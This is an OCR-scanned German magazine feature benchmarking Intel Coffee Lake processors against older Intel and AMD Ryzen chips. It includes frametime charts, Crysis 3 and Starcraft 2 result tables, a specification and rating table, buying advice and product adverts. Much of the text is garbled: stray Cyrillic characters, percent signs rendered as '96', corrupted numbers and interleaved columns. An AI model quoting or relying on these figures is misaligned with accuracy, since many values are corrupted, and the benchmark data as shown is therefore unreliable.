wir allerdings die Frametimes im DX12-Modus, welcher auf CPUs mit mehr als vier Kernen gegenüber DX11 deutlich zulegen kann. Allerdings gilt auch in RotTR: Je mehr Gra- 


Frametimes: Core i7-8700K (RotTR, 720p, Geo-Valley, DX12) Frametimes: Core i5-8400 (RotTR, 720p, Geo-Valley, DX12) 


nie 


Statistics (displayed events) 


түр. Папе: — 542 (178 res) 
19% time: — 8,70 (115 res) 
Säz time: 142 (20 FPS) 


Avg. time; (148 res) 
1% time: 108 (92 FPS) 
I time: 160 (63 ps) 


23m 


DI 


те: 252 (122 PS) 
19% fer — 114 KI 
Säz, time: 148 [CIL] 


33m 


Statistics (displayed. is) 

мр. time: — 7,468 (120 FPS) 
1% time: Ha (86 ПРУ) 
0.1% time: 15,0 (67 res) 


33m 


Crysis 3 & The Witcher 3: In diesen Beispielen kann AMDs Ryzen seine Muskeln spielen lassen. Zwar schlägt er die neuen Intel-CPUs nicht bei den durchschnittlichen Fps, 
erzielt aber speziell in The Witcher 3 einen sehr ruhig anmutenden Frametime-Verlauf, an den auf Intel-Seite nur der i7-8700K herankommt. Auch Crysis 3 ist in dieser Hinsicht eine 


Frametimes: Core i7-8700K (Crysis 3, 720p, Fields) Frametimes: Core i5-8400 (Crysis 3, 720p, Fields) 


01% time; 872 (115 rest 


23m 


Avg. time: (146 FPS) 
M time: 122 (82 FPS) 
0.1% time: 14,2 (ores) 


Diet 


wm 


Statistics (displayed events) 

Avo.tme — 698 (142 res) 
19% time: 847 (115 1Р5) 
9.19% time: 110 (91 ГРУ) 


33m 


Statistics (displayed. 

муо. ате: — 257 (132 FPS) 
19% tme; — 192 (98 IPS) 
0.1% time: 11,2 (вэ res) 


m 


33m 
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Zum einen aus dem Vergleich mit 
möglichst vielen CPUs, was für 
Aufrüster interessant ist, zum an- 
deren aber auch, um die Perfor- 
mance in unterschiedlichen Spie- 
len zu verdeutlichen. Für ersteres 
haben wir unseren bewährten 
Crysis-3-Benchmark herangezogen, 


der sowohl eine hohe Pro-MHz- 
Leistung als auch eine Vielzahl an 
Threads mit hohen Fps-Werten 
belohnt und dabei auch virtuelle, 
durch SMT bereitgestellte Ausfüh- 
rungsressourcen gewinnbringend 
nutzt. Hier gehen wir altersmäßig 
bis zum Phenom II X6 von 2010 


und Core i7-920 aus dem Jahre 
2008 zurück. In weiteren Tests, wie 
dem immer noch vielgespielten 
Starcraft 2 mit dem anspruchsvol- 
len Zerg-Rush-Spielstand, prüfen 
wir die Single-Thread-Leistung. 
Aber auch neuere Titel wie The 
Witcher 3 oder das für Ryzen frisch 


auf bessere Multicore-Nutzung ge- 
patchte Rise of the Tomb Raider 
ziehen wir zur Leistungmessung 
heran. Die Anwendungsleistung 
haben wir in der Tabelle auf der 
folgenden Seite zusammengefasst. 
Bei den verwendeten Prozessoren 
mussten wir teilweise Abstriche 


fikeffekte aktiviert sind, desto eher limitiert die verwendete Grafikkarte, eine Titan X (Pascal). Für unsere CPU-Tests schalten wir die erweiterten Grafikeinstellungen ab, und die 
Sechskerner zeigen auch in hoher Auflösung bessere, sprich glattere Frametime-Varianzen als Vierkerner speziell ohne SMT. 


Frametimes: Core i7-7700K (RotTR, 720p, Geo-Valley, DX12) Frametimes: Core i5-7600K (RotTR, 720p, Geo-Valley, DX12) 


Statistics (displayed events) - Statistics (displayed events) ый 
i 628 


Avg. time: (159 res) муд. пе: BG (113 IPs) 
1% time: 104 (96 FPS) 1% time: 154 (66 FPS) 
ол» time; 155 (65 FPS) 0.1% time: 199 (so FPS) 


m 


0 2 4 6 8 10 12 14 16 18 20 
Frametimes: Core i7-7700K (RotTR, 1440p, Geo-Valley, DX12) Frametimes: Core i5-7600K (RotTR, 1440p, Geo-Valley, DX12) 
Statistics (displayed events) gem Statistics (displayed events) == 


Avg- time: — 756 (132 res) Avo- time: 8,80 (113 IPs) 
iW tme; — 118 (85 ps) 19 time: 15,0 (67 FPS) 
0.1% time: 15,2 (66 ГРУ) Säz, time: 185 (54 PS) 


Ryzen-Stärke: Er liegt bei den in unserer Frametime-Messung gewonnenen Durchschnitts-Fps knapp vor dem i5-8600K, kann sich beim Verlauf aber mit dem 8700K messen, was 
die gleichmäßige und für geschmeidiges Spielgefühl wichtige Verteilung der einzelnen Bildberechnungszeiten angeht. 


Frametimes: Core i5-7600K (Crysis 3, 720p, Fields) Frametimes: Ryzen 7-1800X (Crysis 3, 720p, Fields) 
it: 


m 23e 


Statistics (displayed events) 


луд. те: — 9, (103 FPS) муд. time: — 671 (149 FPS) 
1% time: 17,9 (56 FPS) 1% time: 19,1 (99 FPS) 
0.1% time; (a4 res) 0.1% time: 10,7 (92 FPS) 


Frametimes: Ryzen 7-1800X (Witcher 3, 720p, Hierarch Square) 


I 


Statistics (displayed events) Statistics (displayed events) 

Avg. ате: — 1091 (99 1P5) Avo- time: — 9,00 (1 res) 
JW tme; 145 (69 res) 195 time: 10,9 (92 ps) 
01% time: 179 (56 1P5) Bä, time: 142 (1 res) 


- 167m wm 
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Crysis 3: Coffee-Lake-CPUs im Vergleich 


„Fields” (720p, kein AA/AF/minimales Post-Processing) 


Intel Core i9-7900X (3,3+ GHz – 10c/20t) m eus 197,5 (+37 %) 


Intel Core i7-8700K (3,7+ GHz — 6c/12t) Tas 1 


94,3 (+35 %) 


Intel Core i7-6950X (3,0+ GHz – 10c/20t) ua 193,2 (+34 %) 
Intel Core i9-7960X (2,8+ GHz – 16с/321) СО 185,1 (+28 %) 


Intel Core i7-7820X (3,6+ GHz – 8c/16t) Es 179, 


5 (+24 96) 


Intel Core i7-6900K (3,2+ GHz 8c/16t) ВЕД ШЕШШ 176,9 (+23 %) 
Intel Core i9-7980XE (2,6+ GHz – 18/361) ВЕБ 174,9 (+21 96) 


Inte 


Inte 


Core i7-7800X (3,5+ GHz – 6c/12t 
Core i7-5960X (3,0+ GHz — 8c/16t) 


Intel Core i7-6800K (3,4+ GHz — 6c/12t 
Intel Core i7-5930K (3,5+ GHz — 6с/121 
Intel Core i5-8600K (3,6+ GHz — 6c/6t 


aeu 165,2 («14 %) 
pase 164,4 (+14 96) 
peu 154,1 (+7 96) 
EX 1542 (+7 %) 
Kwasi 154,0 (+7 96) 


Intel Core i7-7740X (4,3+ GHz - 4c/8t) BEE 152,5 (+6 


AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t 


%) 


a 149,5 (+4 %) 


Intel Core i7-5820K (3,3+ GHz — 6c/12t) Eat 149,0 (+3 96) 
AMD Ryzen 7 1700X (3,4+ GHz – 8c/16t) ВО 145,6 (+1 96) 


AMD Ryzen TR 1950X (3,4+ GHz - 16c/32t 


ДИНИ 1458 (+1 %) 


Intel Core i7-7700K (4,2+ GHz - 4с/81) mn Ex 144,3 (Basis) 


AMD Ryzen TR 1920X (3,5+ GHz — 12c/24t 


pagi 144,1 (-0 90) 


Intel Core 15-8400 (2,8+ GHz — 6c/6t) Feb 143,8 (-0 96) 


AMD Ryzen 5 1600X (3,6+ GHz — 6c/121) aai 142,0 (-2 %) 
AMD Ryzen TR 1900X (3,8+ GHz — 8c/16t) Em lli 139,1 (4 %) 
Intel Core i7-6700K (4,0+ GHz – 4с/81) n9 136,7 (-5 %) 
Intel Core i7-4960X (3,6+ GHz – 6c/12t) Eg 136,7 (-5 96) 
AMD Ryzen 7 1700 (3,0+ GHz — 8с/161) |n 137,2 (-5 96) 
AMD Ryzen 5 1600 (3,2+ GHz – 6c/12t) EN 133,1 (-8 94) 
Intel Core i7-3960X (3,3+ GHz – 6c/12t) EX 131,0 (-9 96) 
Intel Core i7-5775C (3,3+ GHz – 4c/8t) Eni 128,5 (-11 96) 
Intel Core i7-4790K (4,0+ GHz – 4с/81) E 128,5 (-11 96) 
Intel Core i7-4770K (3,5-- GHz - 4с/81) EEE 1 19,3 (-17 96) 
Intel Core i7-990X (3,5+ GHz – 6с/121) EEE 119,2 (-17 96) 
Intel Xeon E3-1230 v5 (3,4+ GHz – 4с/81) X00 117,5 (-19 96) 
Intel Core i3-8350K (4,0 GHz - 44) mamawas 104,6 (-28 %) 
AMD Ryzen 5 1500X (3,5+ GHz — 4c/8t) Egg 104,3 (-28 %) 
Intel Core i5-7600K (3,8+ GHz – 4c/4t) gg. 101,5 (-30 96) 
Intel Core i7-4820K (3,7-- GHz - 4с/81) gg 102,1 (-29 96) 
Intel Core i7-3770K (3,5+ GHz — 4c/8t) Ege 101,6 (-30 96) 
AMD FX-9590 (4,7+ GHz – 4m/8t) ZEN 95,7 (-34 %) 
Intel Core i5-5675C (3,1+ GHz – 4c/4t) EEEE 94,6 (-34 96) 
Intel Core i5-7500 (3,4+ GHz — 4c/4t) Xs 94,3 (-35 96) 
AMD Ryzen 5 1400 (3,2+ GHz — 4c/8t) ЕВО 93,4 (-35 96) 
Intel Core i7-2600K (3,4+ GHz – 4с/81) gis 92,3 (-36 %) 
Intel Core i5-4690K (3,5+ GHz — 4с/41) Era 90,1 (-38 96) 
( 
( 


Intel Core i5-6600K (3,5+ GHz - 4c/4t) Xm 89,2 (-38 96) 
Intel Core i5-4670K (3,4+ GHz - 4с/41) els 88,6 (-39 96) 
AMD FX-8370 (4,0+ GHz — 4т/81) Ea 88,3 (-39 96) 
AMD FX-8350 (4,0+ GHz — 4m/8t) |a 88,0 (-39 96) 
Intel Core 15-7400 (3,0+ GHz – 4c/4t) Eu 87,3 (-40 96) 
Intel Core 15-6500 (3,2+ GHz — 4с/41) Eo 88 82,9 (-43 96) 
Intel Core 15-3570К (3,4+ GHz – 4с/41) opge 80,3 (-44 96) 
Intel Core i3-7350K (4,2 GHz — 2c/4t) 8H 77,8 (-46 96) 
AMD FX-8300 (3,3+ GHz – 4m/8t) esp 73,7 (49 96) 
AMD FX-8320E (3,2+ GHz – 4m/8t) gx 72,1 (-50 96) 
AMD Ryzen 3 1300Х (3,4+ GHz — 4с/41) eme 71,5 (-50 96) 
Intel Core i5-2500K (3,3+ GHz - 4с/41) X59 70,7 (-51 96) 
AMD FX-6350 (3,9+ GHz - 3m/6t) Eee 71,4 (-51 96) 
Intel Core i3-6100 (3,7 GHz - 2с/41) EEE 69,5 (-52 96) 
Intel Core 17-920 (2,7+ GHz - 4c/8t) 59! 69,3 (-52 96) 
AMD Phen. Il X6 1100T (3,3+ GHz — 6c/6t) SIII FCOÉŠƏIIIIIIIIIIII0II,IWIx 96) 
Intel Pentium G4560 (3,5 GHz — 2c/4t) ШСД 65,5 (-55 96) 
AMD FX-6300 (3,5+ GHz - 3m/6t) 551] 64,7 (-55 96) 
AMD Ryzen 3 1200 (3,1+ GHz - 4с/41) Es 63,3 (-56 96) 
AMD A10-7870K (3,9+ GHz — 2m/4t) MEON 48,2 (-67 96) 
AMD Athlon ХА 845 (3,5-- GHz — 2m/4t) Ш 018 48,4 (-66 96) 


System: Intel X99/79/58, 2370/270/297/277, AMD X370/990FX, 8 GiB RAM pro Speicher- 
kanal (Geschw. jeweils laut max. CPU-Spez.), GTX 980 Ti @ 1,38/3,9 GHz; Win 10 64 Bit 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9), um Grafiklimit zu minimieren. 


Мі 2 Fps 


» Besser 
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machen und uns auf verbreitete 
oder besonders interessante Mo- 
delle beschränken. Finden Sie Ihr 
spezifisches CPU-Modell nicht, hilft 
Ihnen vielleicht ein Vergleich. So 
sind die Ryzen-X-Modelle im Prin- 
zip nur etwas hóher getaktete Vari- 
anten ihrer x-losen Geschwister, die 
deren Performance ebenfalls leicht 
erreichen können. Der 15-7500 ist 
nur wenig schneller als der i5-7400, 
welcher wiederum mit dem 15-6500 
vergleichbar ist. Der i7-7700K ent- 
spricht einem etwas übertakteten 
i7-6700K, der Xeon E3-1230v5 ran- 
giert leicht darunter. Core i5-4670K 
und i7-4770K sind mit minimalem 
OC so schnell wie die abgedruck- 
ten 90егУегѕіопеп. Der i7-7740X 
ist zwar der vormals flotteste Spie- 
leprozessor im Parcours, aufgrund 
seiner Positionierung im Sockel 
2066 aber kaum verbreitet. 


Die Leistung des Core i3-8100 
(3,6 GHz) können Sie dank des 
nicht vorhandenen Turbos übri- 
gens ziemlich genau abschätzen, 
indem Sie zehn Prozent der Werte 
des i3-8350K mit seinem 4,0 GHz 
abziehen. Prozessoren aus dem 
Ultra-High-End mit 10, 12, 16 oder 
mehr Kernen haben wir außer in 
Crysis 3 nicht mit aufgeführt, weil 
hier die Überschneidung zu Kauf- 
interessenten in der Mittelklasse 
eher gering ist. Bei Bedarf finden 
Sie entsprechende Werte im Leis- 
tungsindex CPUs auf Seite 61. 


Leistungsanalyse 

Der Core i7-8700K übernimmt 
dank sechs Kernen, SMT und bis 
an die Grenze getriebenem Takt 
die Spitze im Spiele-Teil unseres 
Leistungsindex. Er liegt allerdings 
nur knapp vor dem i7-7740X, des- 
sen hoher Takt (er hält seinen Tur- 
bo von 4,5 GHz auf allen Kernen) 
manchmal den kleinen aber feinen 
Unterschied macht, solange Spiele 
nicht exzessiven Nutzen aus sechs 
oder mehr Kernen ziehen. Der i7- 
8700K profitiert speziell in Spielen 
wie Crysis 3 oder der Partikelhölle 
in F1 2015 von seinen zwei zusätz- 
lichen Kernen, liegt aber auch im 
nicht zum Parcours zählenden Rise 
of the Tomb Raider (DX12) vor 
dem i7-7740X und damit natürlich 
auch vor dem i7-7700K. Gegen- 
über dem ebenfalls sechskernigen 
Core i7-7800X für den Sockel 2066 
schlägt sich der i7-8700K ebenfalls 
prächtig und liegt nur in F1 2015 


knapp zurück, muss sich jedoch 
in Assassin's Creed: Syndicate mit 
einem knappen Vorsprung von 3 
Fps (+2 %) begnügen. Dafür kann 
er sich in Anno 2205 und Starcraft 
2 mit +40 respektive +52 Prozent 
deutlich absetzen - beiden Spiele 
liegen die Änderungen, die Intel 
in Skylake X vorgenommen hat, ir- 
gendwie quer. In Anwendungen, 
die in der Regel besser mit mehre- 
ren Threads skalieren, ist der Ab- 
stand in alle Richtungen größer: 
Gegenüber dem 7740X erreicht 
der 8700K 13,8 Indexpunkte mehr 
(*25 %) und auch auf den i7-7800X 
erreicht er noch knapp neun Pro- 
zent Vorsprung. 


Gegenüber AMDs  schnellstem 
Gaming-Ryzen, dem R7-1800X, ist 
der 17-8700К in Spielen ein rundes 
Drittel flotter unterwegs, wenn 
man eine mógliche Grafiklimitie- 
rung nicht berücksichtigt. Das ist 
ein bereits fühlbarer Abstand. In 
Anwendungen hingegen schlägt 
einmal mehr die große Stunde von 
AMD und hier kann der 1800X mit 
dem aktuell vergleichbar teuren 
8700K gleichziehen. In den AMD- 
Paradedisziplinen wie Cinebench 
R15 liegt der Ryzen um bis zu 21 
Prozent und liegt auch beim Video- 
Transcoding um 7 Prozent vorn. 


Der Core i5-8600K mit sechs Ker- 
nen ohne Hyperthreading hat es 
etwas schwerer, seine Stärken lie- 
gen noch eindeutiger beim Gaming 
(-5,4 Indexpunkte auf den 8700K), 
was mit einem Rückstand von 13,1 
Indexpunkten aber hauptsächlich 
dem vergleichsweise schwächeren 
Abschneiden in Anwendungen ge- 
schuldet ist. Hier liegt der 8600K 
sogar knapp hinter AMDs Ryzen 5 
1600X, aber noch vor dem X-losen 
R5-1600. 


Der i5-8400 ist preislich das span- 
nendste Produkt, hat aber mit sei- 
ner OC-Sperre zu kämpfen, die 
vielen Nutzern sauer aufstoßen 
könnte. Mit den Werkseinstellun- 
gen erreicht er jedoch auch eine be- 
achtliche Leistung, die nur knapp 
hinter dem 8600K zurückliegt und 
die Vierkerner der Vorgängergene- 
rationen speziell in Anwendungen 
alt aussehen lässt. Er bleibt in Spie- 
len knapp vor dem i7-7800X, auf 
einem Level mit dem teuren Zehn- 
kerner i9-7900X, und kann AMDs 
Ryzen-Riege in unserem Parcours 
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Anwendungsleistung im Vergleich - sortiert nach Platzierung im Anwendungsindex 


Prozessormodell 3DM Fire Cinebench R15 7-Zip Lightroom Blender 2.76 | Blender 2.78 | x264 UHD-Trans- | y-Cruncher y-Cruncher 
Strike Physik | (Punkte ST/MT) | (Sekunden) 5.7.1 (Sekunden) VC14 coding 0.6.9.9462 0.7.3.9474 
(Punkte) (Sekunden) (Sekunden)* (Sekunden) (Sekunden) (Sekunden)* 


[mecene | zum | mam | | 
[бей | 65 | neu | wo | m | e | M8 | 99 | Ww; | $4 | 


CHOOSE YOUR DESTINY 


* Angabe rein informativ, neue Version nicht Bestandteil der Index-Wertung. 


500W | 600W 
750W | 850W 
1050W | 1200W 


750W | 800W 
1050W | 1250W 


Plati áx DE 
EE Ener IT = ENER, 


Q^ ГЛ а х ytan ~ 


d Y alternate.de | amazon.de | bora-computer.de | computeruniverse.net 
csv-direct.de | direkt.jakob.de | ditech.at | kmcomputer.de 
mindfactory.de | nexoc-store.de | notebooksbilliger.de 


SPECIAL | Coffee-Lake-Prozessoren im Test 


Starcraft 2 LotV: Immer 


noch der IPC-Bench 


nte 


nte 


„Zerg Rush” (720p, kein AA/AF/minimales Post-Processing) 


Core i7-7700K (4,2- GHz – 4c/8t) usual 62,3 (+56 %) 
Intel Core i7-8700K (3,7+ GHz — 6c/12t) EZ [SEI 59,0 (+48 %) 
Core i5-8600K (3,6+ GHz — 6c/6t) ВЕЗНИ 56,7 (+42 %) 
Intel Core i3-8350K (4,0 GHz — 440 Tawa 56,5 (+42 96) 
Intel Core 15-8400 (2,8+ GHz — 6c/6t) БЕЗ 52,3 (+31 %) 
Core i5-7600K (3,8- GHz — 4c/4t) usa 49,6 (+24 %) 
Intel Core i3-7350K (4,2 GHz – 2/41) ag ШЕШШ 47,8 (+20 %) 
Core i7-4790K (4,0- GHz – 4с/81) ae pm 44,4 (+11 %) 
Core i5-6600K (3,5+ GHz – 4c/4t) XXX [ud 39,9 (Basis) 
Intel Core i7-7800X (3,5+ GHz — 6c/12t) Ea po 38,8 (-3 96) 
Intel Core i5-7400 (3,0+ GHz – 4c/4t) ISSITRRRISISIIIGHHOIEIGHMHAIIIIIINISSéI 
Core i5-4690K (3,5+ GHz — 4c/4t) Eig p 35,7 (11 94) 
Intel Core i7-6800K (3,4+ GHz — 6c/12t) Xn ps 33,7 (-16 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 8с/161) [XX EEE 32,7 (-18 96) 
AMD Ryzen 5 1600X (3,6+ GHz — 6c/12t) EEE m 33,4 (-16 %) 
AMD Ryzen 5 1500X (3,5+ GHz – 4c/8t) Xa | 31,1 (-22 96) 
AMD Ryzen 3 1300X (3,4+ GHz — 4c/4t) Ш m 28,2 (-29 96) 
Intel Core i7-3770K (3,5+ GHz – 4с/81) Eu 26,8 (-33 %) 
Intel Core i7-4960X (3,6+ GHz — 6c/12t) Xia 25,2 (-37 %) 
Intel Core i7-2600K (3,4+ GHz – 4c/8t) ЙО mu 21,8 (-45 96) 
Intel Core i7-990X (3,5+ GHz – 6с/121) ШЕ 16,8 (-58 96) 
AMD FX-8350 (4,0+ GHz – 4т/81) В ШЕШ 14,2 (-64 96) 
AMD Phen. II X6 1100T (3,3- GHz — 6c/6t) EEE 11,3 (-72 96) 


System: Intel X99/79/58, 2370/270/297/277, AMD X370/990FX, 8 GiB RAM pro Speicher- 
kanal (Geschw. jeweils laut max. CPU-Spez.), GTX 980 Ti @ 1,38/3,9 GHz; Win 10 64 Bit 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9), um Grafiklimit zu minimieren. 


Minz 2 Fps 


» Besser 


deutlich schlagen. Auch modernere 
Titel wie Rise of the Tomb Raider 
ändern daran nichts, zumindest im 
integrierten Benchmark von Ashes 
of the Singularity aber kann der 
AMD-Prozessor einen Achtungser- 
folg einfahren. 


Während der i3-8350K für sich ge- 
nommen ein guter Quadcore-Pro- 
zessor ist, spricht im Rahmen des 
Z370-Lineups und der Konkurrenz 
allerdings nicht viel für ihn. Zwar 
lásst er sich einfach übertakten, 
aber die Zeit für Vierkerner ohne 
SMT ist angesichts von schnellen 
Hexacores unter 200 Euro bei Neu- 
anschaffungen einfach vorbei. 


Speziell, wenn Sie vorhaben, Ihren 
Prozessor vier oder mehr Jahre zu 
nutzen, ist absehbar, dass Sie mit- 
tel- bis langfristig mit einem Sechs- 
kerner von AMD oder Intel besser 
fahren. In Spielen erreicht der i3- 
8350K zwar noch knapp das Niveau 
von AMDs Ryzen-7-Modellen, fallt 
aber in Anwendungen und Titeln 
mit guter Mehrkernunterstützung 
bereits heute merklich zurück. 


Sechs Kerne mit 65 bis 95 
Watt – geht das? 

Bevor wir zur Kaufberatung kom- 
men, noch ein Wort zur Energie- 
effizienz, also der erbrachten 
Leistung für den Stromverbrauch. 
Standardmäßig dürfen Intel-CPUs 
ihre TDP-Werte ausreizen und, so- 
fern die Temperaturen es erlauben, 
bis zu 28 Sekunden sogar mehr 
Leistung aufnehmen (im Falle des 
i7-8700K etwa knappe 130 Watt). 
Im Test zeigte sich, dass auch Intel 
nicht zaubern kann. Während in 
Spielen auch mit dem Topmodell 
als stromdurstigstem der vier kei- 
ne Problem auftraten und die Leis- 
tungsaufnahme in unseren Tests 
zwischen 90 und 95 Watt pendelte, 
sah das in Anwendungen schon an- 
ders aus. Speziell solche, die AVX2 
nutzen, brachen regelmäßig durch 
die 95-Watt-Grenze. 


Unsere Luftkühlung aus dem Mit- 
telklasse-Bereich stellte das noch 
nicht vor Probleme, wohl aber die 
Validität der Benchmarks mit kur- 
zer Laufzeit. Am Beispiel des Fritz- 
Benchmarks haben wir im ersten 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


Prozessor 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verhältnis 


Intel Core i7-8700K 
www.pcgh.de/preis/1685281 


Intel Core i5-8600K 
www.pcgh.de/preis/1697344 


Intel Core i5-8400 
www.pcgh.de/preis/1699930 


Intel Core i3-8350K 
www.pcgh.de/preis/1697354 


Ca. 400 €/Schulnote 4 


Ca. 290 €/Schulnote 4-- 


Ca. 200 €/Schulnote 3 


Ca. 180 €/Schulnote 3- 


Für Mainboards mit Sockel ... 


LGA 1151v2 (bisher nur 7370!) 


LGA 1151v2 (bisher nur 7370!) 


LGA 1151v2 (bisher nur 7370!) 


LGA 1151v2 (bisher nur 7370!) 


Codename Coffee Lake-S Coffee Lake-S Coffee Lake-S Coffee Lake-S 
Anzahl Kerne/Module, Uncore-/L3-Takt 6 (12), ab Werk bis 4,0 GHz 6 (6), ab Werk bis 4,0 GHz 6 (6), ab Werk bis 4,0 GHz 4 (4) 
Basistakt (Turbo für alle und einen Kern) 3,7 GHz (4,3 bis 4,7 GHz) 3,6 GHz (4,1 bis 4,3 GHz) 2,8 GHz (3,8 bis 4,0 GHz) 4,0 GHz (kein Turbo) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/32 KiByte 


32 KiByte/32 KiByte 


32 KiByte/32 KiByte 


32 KiByte/32 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


256 KiByte/12 MiByte 


256 KiByte/9 MiByte 


256 KiByte/9 MiByte 


256 KiByte/8 MiByte 


Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 
Grafikeinheit 


Unbekannt, 14 nm, unbekannt 
1,79 
UHD Graphic 630 (24 EUs, max. 1,2 GHz) 


1,79 


Unbekannt, 14 nm, unbekannt 


UHD Graphic 630 (24 EUs, max. 1,15 GHz) 


Unbekannt, 14 nm, unbekannt 
1,84 


UHD Graphic 630 (23 EUs, max. 1,05 GHz) 


Unbekannt, 14 nm, unbekannt 
1,84 
UHD Graphic 630 (23 EUs, max. 1,15 GHz) 


Befehlssätze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 2, AES, FMA3, TSX 


SSE bis 4.2, AVX bis 2, AES, FMA3, TSX 


SSE bis 4.2, AVX bis 2, AES, FMA3 


SSE bis 4.2, AVX bis 2, AES, FMA3 


Integrierte PCI-Express-Lanes 


16x PCI-Express 3.0 


16x PCI-Express 3.0 


16x PCI-Express 3.0 


16x PCI-Express 3.0 


FAZIT 


© Schnellste Spieler-CPU, dank SMT auch © In vielen Spielen kaum langsamer als 
die Spitze 
© Auch kaum lieferbar, ebenfalls teuer 


Wertung: 1,81 


in Anwendungen konkurrenzfáhig 


© Kaum lieferbar und daher teuer 


Wertung: 1,59 
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guter Ab-Werk-Leistung ... 


© Vergleichsweise günstig und mit sehr 


©... aber kaum Tuning möglich 


Wertung: 2,12 


© Schneller Quadcore-Prozessor mit 
guter Spiele- und Anwendungsleistung 
©... der eine Generation zu spät dran ist 


Wertung: 2,31 


Eigenschaften (20 % der Endnote) 1,44 1,53 2,61 1,88 = 
Offener Multiplikator* Ja (bis 83) Ja (bis 83) Nein Ja (bis 83) $ 
Übertaktung per Referenztakt?* Ja Ja Stark eingeschránkt Ja E! 
Speicherkanäle (и. max. Geschwindigkeit*/* *) 2x DDR4-2667 (kein ECC) 2x DDR4-2667 (kein ECC) 2x DDR4-2667 (kein ECC) 2 x DDR4-2400 (kein ECC) E 
TDP laut Hersteller** 95 Watt 95 Watt 65 Watt 91 Watt д 
Systemverbrauch Leerlauf abzüglich Grafikkarte |19 Watt 19 Watt 19 Watt 19 Watt Е 
Systemverbrauch (Anno/C3/TW3)** 226/392/297 Watt 225/325/280 Watt 208/294/277 Watt 204/265/250 Watt 5 
Systemverbrauch Spiele (Durchschnitt) * * 284 Watt 267 Watt 255 Watt 246 Watt š 
Systemverbrauch Anwendungen (Durchschnitt)** | 181 Watt 158 Watt 135 Watt 130 Watt £ 
Leistung (60 % der Endnote) 1,57 1,92 2,05 2,61 8 
Spieleindex (60 % der Leistungsnote) 100 % 94,6 % 91,6 96 16,7 % E 
Anwendungsindex (40 % der Leistungsnote) 66,3 % 53,2 % 49,9 % 38,5 96 E 

B 

š 

š 
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Information, gewertet wird die Effizienz über alle Spiele und Anwendungen. 


Durchlauf 25.074 Punkt gemessen, 
im zweiten, direkt folgenden mit 
entsprechend kürzerer Turbo- 
24.121 Punkte. 
Dasselbe Spielchen im Cinebench 
R15: Hier sank die Performance von 
1.417 auf 1.324 Punkte. Für die Be- 
wertung haben wir einen gewich- 
teten Mittelwert aus schnellen und 


Phase nur noch 


langsameren Durchläufen herange- 
zogen, da die Turbo-Phasen über 
de Nominal-TDP außer unter k 
stanter Dauerlast ja immer wieder 
auftreten und die Berechnungen 
beschleunigen. 


Kaufberatung Coffee Lake 

Wie die Benchmarks zeigen, sind 
auch Intels neue Mittelklasse-Model- 
le gut geeignet für Nutzer, die vor- 
wiegend am PC spielen. Während 
für Streamer - also solche, die wäh- 
rend des Spielens ihre Erfahrung 
mit der Welt teilen wollen - auch 
zwei zusätzliche Kerne nicht scha- 
den, liegt der aktuelle Sweet-Spot 
bei vier Kernen mit acht Threads. 
Darüber nimmt der Nutzen zusätz- 
licher Kerne stark ab, ist in einigen 
Titeln bis sechs, vereinzelt auch 


noch bis acht Kerne aber durch- 
aus noch gegeben. Einer dieser Ti- 
tel ist das altehrwürdige Crysis 3, 
welches bereits 2013 erschien und 
einer der Vorzeigetitel für AMDs 
FX-CPUs wurde. Auf der anderen 
Seite profitieren auch viele aktuel- 
le Spiele wie Mittelerde: Schatten 
des Krieges kaum von mehr als vier 
Kernen. Project Cars kann ebenfalls 
von vier auf sechs, kaum aber von 
sechs auf acht Kerne zulegen. Das 
populäre Playerunknown’s Battle- 
ground (PUBG) scheint mit Vierker- 
nern größtenteils zufrieden. Auch 
das brandneue Elex profitiert vom 
Sprung von vier auf acht SMT-be- 
wehrte Kerne nur mit circa 10 Pro- 
zent Leistungszuwachs. 


Vor diesem Hintergrund liegt der 
Griff zu einer CPU mit sechs oder 
acht Kernen nahe. Preis-Leistungs- 
mäßig ist hier der Core i5-8400 
weit vorn, der nur soviel kostet wie 
AMDs Ryzen 5 1600, dabei aber 
speziell in Spielen merklich flotter 
arbeiten kann. Auch den Ryzen 5 
1600X hat der i5-8400 insgesamt 
noch locker im Griff, sodass selbst 


Coffee-Lake-Prozessoren im Test | SPECIAL 


Coffee Lake liefert, was Sky- 
lake-X aus Spielersicht verpasst 


Sechs Kerne im Mainstream samt hoher IPC sind das, 
worauf viele Spieler seit Jahren gewartet haben. Was 
Skylake-X aus Spielersicht verpasst hat, liefert Coffee Lake 
nun nach. Und selbst wer nicht bei den K-Modellen am 
Takt herumschrauben möchte, kann mit dem 15-8400 auf 
eine flotte Option zurückgreifen. Dumm nur, dass Intel bei 
der Plattform offenbar noch länger braucht, um aus alten 
Mustern herauszukommen: Der Z370 erscheint für den 
Sechskerner unnötig und der eigentlich geplante 7390 
kommt dann irgendwann nächstes Jahr. Dazu kommen 
schlechte Verfügbarkeit und die , UEFI-TDP-Überfahrung" seitens der Main- 
board-Hersteller. Wäre ja auch zu schön gewesen, mal nix zu meckern zu haben. 


Carsten Spille 


das bei Intel unmógliche, bei AMD 
hingegen problemlose OC in die- 


sem Fall nicht den Ausschlag gibt. Core i 8000 (Coffee Lake) 


Aus Spielersicht kombinieren die Cof- 
fee-Lake-Prozessoren die wichtigsten 
positiven Eigenschaften: Durch die 
Bank hohe Leistung mit sinnvollem 
Multithreading-Ausbau. Verfügbarkeit 
und in Folge die Preise sowie der unnö- 
tig-nótige Plattformwechsel schrecken 
Aufrüster jedoch ab. 


Der Griff zu einem Vierkerner auch 
der vorigen Intel-Generation lohnt 
sich bei Preisen von 160 Euro und 
mehr hingegen kaum noch und 
auch AMDs Quadcores verlieren 
trotz günstigerer Preise bereits 
merklich an Attraktivität. (cs) 


Unbegrenzie Möglichkeiten! 


DARK BASE 900 » 


Unzählige Möglichkeiten einen PC zu konfigurieren und eine Gehäuse-Serie, die all das 
móglich macht: Dark Base 900. Maximale Flexibilitát für deine individuellen Anforderungen 
und - typisch be quiet! - einer der leisesten Tower der Welt! ` 


= Mainboard-Tray und HDD-Tray mit erweiterten Einbaumóglichkeiten 
